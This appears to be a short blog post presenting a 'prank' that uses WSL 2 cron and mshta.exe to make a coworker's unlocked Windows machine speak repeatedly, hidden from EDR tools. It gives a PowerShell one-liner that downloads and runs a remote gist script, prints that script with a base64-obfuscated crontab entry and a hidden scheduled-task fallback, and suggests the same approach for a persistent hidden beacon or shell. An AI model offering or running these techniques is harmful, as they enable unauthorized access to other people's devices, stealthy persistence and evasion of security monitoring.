WSL Shenanigans
WSL Shenanigans
A fun thing about WSL 2, is that it is fully capable of calling windows native functions and binaries. It also has cron. Which opens the opportunity to do some interesting things to someone’s unattended device.
Take this MSHTA execution for example. It’s a simple SAPI call made in JavaSCript. All it does is use SAPI to say “hello”. I’ve had a lot of fun in the past with various SAPI-based jokes, and this is a pretty straight forward way to do this.
mshta.exe "javascript:code(close((V=(v=new ActiveXObject('SAPI.SpVoice')).GetVoices()).count&&v.Speak('hello')))"
Of course, just saying hello one time isn’t that funny. It’s much funnier if it repeats indefinitely, saying some arbitrary string every X minutes. Possibly in such a way that it isn’t obvious where the sound is coming from.
Enter WSL 2 cron.
* * * * * /mnt/c/Windows/System32/mshta.exe "javascript:code(close((V=(v=new ActiveXObject('SAPI.SpVoice')).GetVoices()).count&&v.Speak('hello')))"
This cron job will run the SAPI call every minute. The beauty of this is that there is no way to distinguish that WSL is calling MSHTA. Most EDR products do not have the capability to monitor WSL 2 processes Bypassing EDR with WSL.
When manually looking at WSL processes, most of the processes will look something like this
Not very descriptive, right? No feasible way to immediately gauge that the magic voice from the computer is coming from this process.
So, to have a little fun with coworkers who leave their machines unlocked, you can simply run this code to set up a little ghost that talks to them.
(iwr 'https://gist.github.com/lpowell/a92ea88031d4cfe233aac4097c3e825a').Content | iex
Script content
try{
wsl --status | out-null
wsl sh -c "crontab -l > cron.bk; echo 'KiAqICogKiAqIC9tbnQvYy9XaW5kb3dzL1N5c3RlbTMyL21zaHRhLmV4ZSAiamF2YXNjcmlwdDpjb2RlKGNsb3NlKChWPSh2PW5ldyBBY3RpdmVYT2JqZWN0KCdTQVBJLlNwVm9pY2UnKSkuR2V0Vm9pY2VzKCkpLmNvdW50JiZ2LlNwZWFrKCdoZWxsbycpKSkiCg==' |base64 -d | crontab -"
wsl bash -c "nohup bash -c 'while true; do sleep 1h; done &' &>/dev/null "
}catch{
# do a scheduled task for fun on all platforms
$exe = "powershell.exe"
$arguments = "-WindowStyle Hidden -Command ""Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('Goodbye')"""
$action = New-ScheduledTaskAction -Execute $exe -Argument $arguments
$t1 = New-ScheduledTaskTrigger -Daily -At 01:00
$t2 = New-ScheduledTaskTrigger -Once -At 01:00 `
-RepetitionInterval (New-TimeSpan -Minutes 1) `
-RepetitionDuration (New-TimeSpan -Hours 23 -Minutes 55)
$t1.Repetition = $t2.Repetition
$principal = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive -RunLevel Limited
$task = New-ScheduledTask -ACtion $action -Trigger $t1 -Principal $principal
Register-ScheduledTask "SAPI" -InputObject $task
Start-ScheduledTask "SAPI"
}
If you wanted to be more devious, you could certainly use wslapi.h (featured in the bypass article) to completely obfuscate this from most EDR. If you wanted a persistent, hidden, beacon or shell, WSL 2 cron might be the place to put it (See also the network containment bypass capabilities of WSL 2)…